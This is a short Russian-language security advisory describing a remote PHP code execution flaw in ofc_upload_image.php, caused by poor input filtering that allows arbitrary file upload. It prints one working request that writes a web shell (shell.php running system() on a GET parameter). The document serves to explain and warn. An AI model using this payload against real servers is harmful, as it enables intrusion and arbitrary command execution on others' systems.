Ofc_upload_image.php remote php code execution vulnerability

Эксплуатируя уязвимость в одной из php-библиотек — ofc_upload_image.php злоумышленник может удаленно провести выполнение произвольного php кода на атакуемой системе.

Уязвимость связана с недостаточной фильтрацией входящих данных. С помощью специализированного запроса URI атакующий может сформировать php-файл c произвольным содержимым:

Код:

ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?>

Хотя уязвимости уже более 3 лет, тем не менее злоумышленники до сих порт пытаются её эксплуатировать.

Ошибка вида Input Validation Error (проверки входящих данных) привела к уязвимостям вида Arbitrary File Upload (загрузка произвольного файла) и Remote Code Execution удаленное выполнение произвольного кода.